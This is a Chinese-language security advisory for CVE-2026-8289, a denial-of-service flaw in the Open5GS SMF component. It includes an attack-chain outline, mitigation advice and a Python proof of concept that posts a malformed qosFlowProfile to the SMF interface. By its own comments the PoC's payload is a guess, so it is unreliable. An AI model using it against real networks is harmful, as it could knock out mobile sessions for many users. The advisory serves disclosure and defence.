IPBUF安全漏洞报告
English
CVE-2026-8289 CVSS 4.3 中危

CVE-2026-8289 Open5GS拒绝服务漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-8289
漏洞类型
拒绝服务
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open5GS

相关标签

拒绝服务Open5GS5G核心网DoSSMF

漏洞概述

Open5GS是一款开源的5G核心网实现项目。在版本2.7.7及之前的版本中,其会话管理功能(SMF)组件存在安全漏洞。该漏洞位于文件/src/smf/nsmf-handler.c的smf_nsmf_handle_update_data_in_vsmf函数中。攻击者可以通过远程网络操纵qosFlowProfile参数,触发服务异常,导致拒绝服务。目前该漏洞的利用代码已公开,且厂商尚未修复,对5G网络服务的可用性构成潜在威胁。

技术细节

该漏洞是由于Open5GS的SMF组件在处理来自V-SMF的更新数据请求时,对关键参数qosFlowProfile的解析和验证存在缺陷。具体而言,函数smf_nsmf_handle_update_data_in_vsmf未对传入的QoS流配置文件数据进行充分的边界检查或类型验证。攻击者只需具有低权限(PR:L),即可通过网络(AV:N)向目标SMF发送特制的协议数据包。当SMF尝试解析畸形的qosFlowProfile参数时,会触发逻辑错误(如空指针解引用或内存访问错误),导致SMF进程崩溃或挂起。由于SMF负责管理用户会话,其失效将直接导致网络无法建立或维护PDU会话,从而实现拒绝服务攻击。

攻击链分析

STEP 1
1. 侦察
攻击者扫描网络以发现Open5GS SMF服务的接口地址及开放端口。
STEP 2
2. 获取低权限
攻击者获取低级别权限(如接入网络或通过受损的内部节点),满足PR:L的要求。
STEP 3
3. 构造攻击载荷
攻击者构造包含恶意qosFlowProfile参数的SBI(Service Based Interface)请求数据包。
STEP 4
4. 发送攻击请求
攻击者将恶意数据包发送至SMF的nsmf-handler处理接口。
STEP 5
5. 触发漏洞
SMF在解析qosFlowProfile时发生错误,导致进程崩溃,引发拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # PoC for CVE-2026-8289: Open5GS SMF DoS # Target: Open5GS SMF Interface # Description: Sending a malformed qosFlowProfile to trigger the crash def exploit_poc(target_ip, target_port): # Open5GS SMF usually exposes SBI interface, default port often 7777 or similar url = f"http://{target_ip}:{target_port}/nsmf-pdusession/v1/sm-contexts/{sm_context_ref}/modify" # Construct malicious payload with malformed qosFlowProfile # The exact structure depends on the OpenAPI definition, but the vulnerability lies in the parsing of this field. malicious_payload = { "qosFlowProfile": { "5qi": 9, "arp": { "priorityLevel": 15, "preemptCapability": "MAY_PREEMPT", "preemptVulnerability": "NOT_PREEMPTABLE" }, # Injecting unexpected or malicious data here "maxFlowBitRateDL": -1, "maxFlowBitRateUL": 9999999999 } } headers = { "Content-Type": "application/json", "Accept": "application/json" } try: print(f"[*] Sending malicious request to {url}...") response = requests.post(url, data=json.dumps(malicious_payload), headers=headers, timeout=5) print(f"[*] Response status code: {response.status_code}") print("[*] If the service crashes or hangs, the PoC is successful.") except requests.exceptions.RequestException as e: print(f"[!] Request failed or service crashed: {e}") if __name__ == "__main__": # Replace with actual target IP and a valid SM context reference if known target_ip = "192.168.1.100" target_port = "7777" sm_context_ref = "1" exploit_poc(target_ip, target_port)

影响范围

Open5GS <= 2.7.7

防御指南

临时缓解措施
由于官方尚未发布补丁,建议采取以下临时缓解措施:在防火墙或网络网关处实施严格的访问控制列表(ACL),限制能够访问SMF管理接口的IP地址范围;监控SMF进程的运行状态,配置自动重启机制以尽量减少服务中断时间;深入检查传入的SBI消息格式,丢弃包含异常_qosFlowProfile_字段的请求。

参考链接